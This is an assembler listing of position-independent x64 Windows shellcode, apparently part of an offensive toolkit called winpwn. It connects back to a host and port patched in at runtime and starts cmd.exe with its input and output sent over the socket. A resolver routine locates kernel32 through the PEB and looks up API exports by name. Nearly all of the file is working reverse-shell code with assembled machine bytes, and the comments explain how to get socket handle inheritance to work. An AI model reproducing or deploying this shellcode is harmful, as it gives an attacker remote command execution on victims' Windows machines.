338 lines
23 KiB
Plaintext
338 lines
23 KiB
Plaintext
1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
|
2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
|
3 ; redirected to the socket. The classic Windows reverse-shell primitive.
|
|
4 ;
|
|
5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
|
6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
|
7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
|
8 ; constants since they never change.
|
|
9 ;
|
|
10 ; Real gotcha, worth recording here since it's easy to miss and the
|
|
11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
|
12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
|
13 ; by default on modern Windows (a hardening change from the days when
|
|
14 ; every handle was inheritable by default). bInheritHandles=TRUE on
|
|
15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
|
16 ; specific socket handle as inheritable first, or the child simply doesn't
|
|
17 ; get a usable copy of it no matter what STARTUPINFOA says.
|
|
18 BITS 64
|
|
19 default rel
|
|
20
|
|
21 start:
|
|
22 00000000 55 push rbp
|
|
23 00000001 4154 push r12
|
|
24 00000003 4155 push r13
|
|
25 00000005 4889E5 mov rbp, rsp
|
|
26 00000008 4883E4F0 and rsp, ~0xF
|
|
27
|
|
28 0000000C E8EB010000 call get_kernel32_base
|
|
29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
|
30
|
|
31 ; WSAStartup(0x0202, &wsadata_buf)
|
|
32 00000014 4C89E1 mov rcx, r12
|
|
33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32]
|
|
34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup]
|
|
35 00000025 E877020000 call resolve_export
|
|
36 0000002A B902020000 mov rcx, 0x0202
|
|
37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf]
|
|
38 00000036 4883EC20 sub rsp, 0x20
|
|
39 0000003A FFD0 call rax
|
|
40 0000003C 4883C420 add rsp, 0x20
|
|
41
|
|
42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
|
43 00000040 4C89E1 mov rcx, r12
|
|
44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32]
|
|
45 0000004A 4C8D05DD020000 lea r8, [rel name_socket]
|
|
46 00000051 E84B020000 call resolve_export
|
|
47 00000056 B902000000 mov rcx, 2
|
|
48 0000005B BA01000000 mov rdx, 1
|
|
49 00000060 41B806000000 mov r8, 6
|
|
50 00000066 4883EC20 sub rsp, 0x20
|
|
51 0000006A FFD0 call rax
|
|
52 0000006C 4883C420 add rsp, 0x20
|
|
53 00000070 4989C5 mov r13, rax
|
|
54
|
|
55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
|
56 ; -- see the file header: without this, the child below can't actually
|
|
57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
|
58 00000073 4C89E1 mov rcx, r12
|
|
59 00000076 4831D2 xor rdx, rdx
|
|
60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation]
|
|
61 00000080 E81C020000 call resolve_export
|
|
62 00000085 4C89E9 mov rcx, r13
|
|
63 00000088 BA01000000 mov rdx, 1
|
|
64 0000008D 41B801000000 mov r8, 1
|
|
65 00000093 4883EC20 sub rsp, 0x20
|
|
66 00000097 FFD0 call rax
|
|
67 00000099 4883C420 add rsp, 0x20
|
|
68
|
|
69 ; connect(sockfd, &sockaddr_buf, 16)
|
|
70 0000009D 4C89E1 mov rcx, r12
|
|
71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32]
|
|
72 000000A7 4C8D0587020000 lea r8, [rel name_connect]
|
|
73 000000AE E8EE010000 call resolve_export
|
|
74 000000B3 4C89E9 mov rcx, r13
|
|
75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf]
|
|
76 000000BD 41B810000000 mov r8, 16
|
|
77 000000C3 4883EC20 sub rsp, 0x20
|
|
78 000000C7 FFD0 call rax
|
|
79 000000C9 4883C420 add rsp, 0x20
|
|
80
|
|
81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
|
82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
|
83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
|
84 000000CD 4881ECE0000000 sub rsp, 0xE0
|
|
85
|
|
86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0
|
|
87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0
|
|
88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0
|
|
89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0
|
|
90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0
|
|
91 00000101 48C744247800000000 mov qword [rsp+0x78], 0
|
|
92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0
|
|
92 00000113 000000
|
|
93 00000116 48C784248800000000- mov qword [rsp+0x88], 0
|
|
93 0000011F 000000
|
|
94 00000122 48C784249000000000- mov qword [rsp+0x90], 0
|
|
94 0000012B 000000
|
|
95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0
|
|
95 00000137 000000
|
|
96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0
|
|
96 00000143 000000
|
|
97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0
|
|
97 0000014F 000000
|
|
98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0
|
|
98 0000015B 000000
|
|
99
|
|
100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
|
101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
|
101 0000016F 0000
|
|
102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
|
103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
|
104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
|
105
|
|
106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
|
107 00000189 4C89E1 mov rcx, r12
|
|
108 0000018C 4831D2 xor rdx, rdx
|
|
109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa]
|
|
110 00000196 E806010000 call resolve_export
|
|
111 0000019B 4989C6 mov r14, rax
|
|
112
|
|
113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL
|
|
114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
|
115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL
|
|
116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL
|
|
117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
|
118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
|
119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
|
120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
|
121 000001D2 488D442450 lea rax, [rsp+0x50]
|
|
122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
|
123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8]
|
|
124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
|
125 000001E9 41FFD6 call r14
|
|
126
|
|
127 000001EC 4881C4E0000000 add rsp, 0xE0
|
|
128 000001F3 4889EC mov rsp, rbp
|
|
129 000001F6 415D pop r13
|
|
130 000001F8 415C pop r12
|
|
131 000001FA 5D pop rbp
|
|
132 000001FB C3 ret
|
|
133
|
|
134 %include "resolver.inc"
|
|
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
|
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
|
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
|
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
|
5 <1> ; one-shot resolutions).
|
|
6 <1> ;
|
|
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
|
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
|
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
|
10 <1> ; r12-r15 across calls to either of these.
|
|
11 <1>
|
|
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
|
13 <1> ;
|
|
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
|
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
|
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
|
17 <1> ; shellcode relies on.
|
|
18 <1> get_kernel32_base:
|
|
19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
|
20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
|
21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
|
22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
|
23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
|
24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
|
25 00000217 C3 <1> ret
|
|
26 <1>
|
|
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
|
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
|
29 <1> ;
|
|
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
|
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
|
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
|
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
|
34 <1> find_export:
|
|
35 00000218 4154 <1> push r12
|
|
36 0000021A 4155 <1> push r13
|
|
37 0000021C 4156 <1> push r14
|
|
38 0000021E 4157 <1> push r15
|
|
39 00000220 56 <1> push rsi
|
|
40 00000221 57 <1> push rdi
|
|
41 00000222 53 <1> push rbx
|
|
42 <1>
|
|
43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
|
44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
|
45 <1>
|
|
46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
|
47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
|
48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
|
49 00000237 4C01E0 <1> add rax, r12
|
|
50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
|
51 <1>
|
|
52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
|
53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
|
54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
|
55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
|
56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
|
57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
|
58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
|
59 <1>
|
|
60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
|
61 <1>
|
|
62 <1> .loop:
|
|
63 00000259 4939DF <1> cmp r15, rbx
|
|
64 0000025C 7D34 <1> jge .notfound
|
|
65 <1>
|
|
66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
|
67 00000262 4C01E0 <1> add rax, r12
|
|
68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
|
69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
|
70 <1>
|
|
71 <1> .cmp_loop:
|
|
72 0000026B 8A06 <1> mov al, [rsi]
|
|
73 0000026D 8A0F <1> mov cl, [rdi]
|
|
74 0000026F 38C8 <1> cmp al, cl
|
|
75 00000271 750C <1> jne .next
|
|
76 00000273 84C0 <1> test al, al
|
|
77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match
|
|
78 00000277 48FFC6 <1> inc rsi
|
|
79 0000027A 48FFC7 <1> inc rdi
|
|
80 0000027D EBEC <1> jmp .cmp_loop
|
|
81 <1>
|
|
82 <1> .next:
|
|
83 0000027F 49FFC7 <1> inc r15
|
|
84 00000282 EBD5 <1> jmp .loop
|
|
85 <1>
|
|
86 <1> .found:
|
|
87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
|
88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
|
89 0000028D 4C01E0 <1> add rax, r12 ; absolute address
|
|
90 00000290 EB03 <1> jmp .done
|
|
91 <1>
|
|
92 <1> .notfound:
|
|
93 00000292 4831C0 <1> xor rax, rax
|
|
94 <1>
|
|
95 <1> .done:
|
|
96 00000295 5B <1> pop rbx
|
|
97 00000296 5F <1> pop rdi
|
|
98 00000297 5E <1> pop rsi
|
|
99 00000298 415F <1> pop r15
|
|
100 0000029A 415E <1> pop r14
|
|
101 0000029C 415D <1> pop r13
|
|
102 0000029E 415C <1> pop r12
|
|
103 000002A0 C3 <1> ret
|
|
104 <1>
|
|
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
|
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
|
|
107 <1> ;
|
|
108 <1> ; find_export alone only works if the target module is *already* loaded
|
|
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
|
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
|
|
111 <1> ; (the function is assumed already loaded at the module base in RCX).
|
|
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
|
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
|
|
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
|
|
115 <1> resolve_export:
|
|
116 000002A1 4154 <1> push r12 ; kernel32 base
|
|
117 000002A3 4155 <1> push r13 ; dll name ptr (or 0)
|
|
118 000002A5 4156 <1> push r14 ; func name ptr
|
|
119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
|
120 000002A8 4889E5 <1> mov rbp, rsp
|
|
121 000002AB 4883E4F0 <1> and rsp, ~0xF
|
|
122 <1>
|
|
123 000002AF 4989CC <1> mov r12, rcx
|
|
124 000002B2 4989D5 <1> mov r13, rdx
|
|
125 000002B5 4D89C6 <1> mov r14, r8
|
|
126 <1>
|
|
127 000002B8 4D85ED <1> test r13, r13
|
|
128 000002BB 750D <1> jnz .need_loadlibrary
|
|
129 <1>
|
|
130 000002BD 4C89E1 <1> mov rcx, r12
|
|
131 000002C0 4C89F2 <1> mov rdx, r14
|
|
132 000002C3 E850FFFFFF <1> call find_export
|
|
133 000002C8 EB36 <1> jmp .resolve_done
|
|
134 <1>
|
|
135 <1> .need_loadlibrary:
|
|
136 000002CA 4C89E1 <1> mov rcx, r12
|
|
137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
|
|
138 000002D4 E83FFFFFFF <1> call find_export
|
|
139 000002D9 4885C0 <1> test rax, rax
|
|
140 000002DC 741F <1> jz .resolve_fail
|
|
141 <1>
|
|
142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
|
143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
|
|
144 000002E5 FFD0 <1> call rax
|
|
145 000002E7 4883C420 <1> add rsp, 0x20
|
|
146 000002EB 4885C0 <1> test rax, rax
|
|
147 000002EE 740D <1> jz .resolve_fail
|
|
148 <1>
|
|
149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
|
|
150 000002F3 4C89F2 <1> mov rdx, r14
|
|
151 000002F6 E81DFFFFFF <1> call find_export
|
|
152 000002FB EB03 <1> jmp .resolve_done
|
|
153 <1>
|
|
154 <1> .resolve_fail:
|
|
155 000002FD 4831C0 <1> xor rax, rax
|
|
156 <1>
|
|
157 <1> .resolve_done:
|
|
158 00000300 4889EC <1> mov rsp, rbp
|
|
159 00000303 5D <1> pop rbp
|
|
160 00000304 415E <1> pop r14
|
|
161 00000306 415D <1> pop r13
|
|
162 00000308 415C <1> pop r12
|
|
163 0000030A C3 <1> ret
|
|
164 <1>
|
|
165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
|
|
165 00000314 72794100 <1>
|
|
135
|
|
136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0
|
|
136 00000321 6C00
|
|
137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0
|
|
137 0000032C 7000
|
|
138 0000032E 736F636B657400 name_socket: db "socket", 0
|
|
139 00000335 636F6E6E65637400 name_connect: db "connect", 0
|
|
140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0
|
|
140 00000346 496E666F726D617469-
|
|
140 0000034F 6F6E00
|
|
141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0
|
|
141 0000035B 636573734100
|
|
142
|
|
143 ; lpCommandLine must point at writable memory (CreateProcessA may modify
|
|
144 ; it in place) -- fine here since shellcode bytes live in a writable page
|
|
145 ; wherever they landed, same as every other template's embedded buffers.
|
|
146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
|
146 0000036A 000000000000
|
|
147
|
|
148 align 8
|
|
149 wsadata_buf:
|
|
150 00000370 00<rep 200h> times 512 db 0
|
|
151
|
|
152 align 8
|
|
153 sockaddr_buf:
|
|
154 00000570 0200 dw 2 ; sin_family = AF_INET
|
|
155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order)
|
|
156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order)
|
|
157 00000578 0000000000000000 dq 0 ; sin_zero[8]
|